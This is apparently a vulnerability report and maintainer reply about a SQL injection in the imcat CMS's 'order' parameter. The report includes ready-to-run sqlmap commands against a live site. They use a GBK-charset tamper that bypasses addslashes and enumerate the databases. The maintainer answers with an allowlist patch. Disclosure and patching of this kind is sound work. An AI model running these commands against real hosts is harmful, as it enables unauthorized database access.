the vulnerability report: sql injection vulnerability in index.php page .

[KernelC]

Exploit vulnerability ：
Test parameter : order

Use sqlmap(http://sqlmap.org/) and use sqlmap-tamper : unmagicquotes
payload:
sqlmap -u 'http://imcat.txjia.com//index.php?sch_faqs=%E6%90%9C%E7%B4%A2&act=1&did=1&mkv=ajax-pick&mod=faqs&order=123&part=1&pid=1&sfid=&sfkw=1&sfop=&stype=&view=1' --dbms mysql -p order --tamper='unmagicquotes'

sqlmap -u 'http://imcat.txjia.com//index.php?sch_faqs=%E6%90%9C%E7%B4%A2&act=1&did=1&mkv=ajax-pick&mod=faqs&order=123&part=1&pid=1&sfid=&sfkw=1&sfop=&stype=&view=1' --dbms mysql -p order --tamper='unmagicquotes' --dbs
GET databases;

Build install imcat and test vuln:

The Vuln-src-code:

because php code set database charset=GBK so bypass addslashes or GPC .

Safetity up:

1. mysql database charset UTF-8
2. Checking http input(GET/POST) data fiter dangerous that.

[peacexie]

• Thanks!
• I'll fix it temporary as this
• File: /imcat/core/dops/dopExtra.php, Code as below:

    function __construct($tab='',$cfg=array()){ 
        //...
        $this->soset($cfg);
        $dord = basReq::val('order','atime'); // cfg.soorders
        if(isset($cfg['soorders']) && !isset($cfg['soorders'][$dord])){
            die("Error `{$dord}`");
        }
        $this->order = $this->so->order = empty($cfg['order']) ? $dord : $cfg['order'];
    }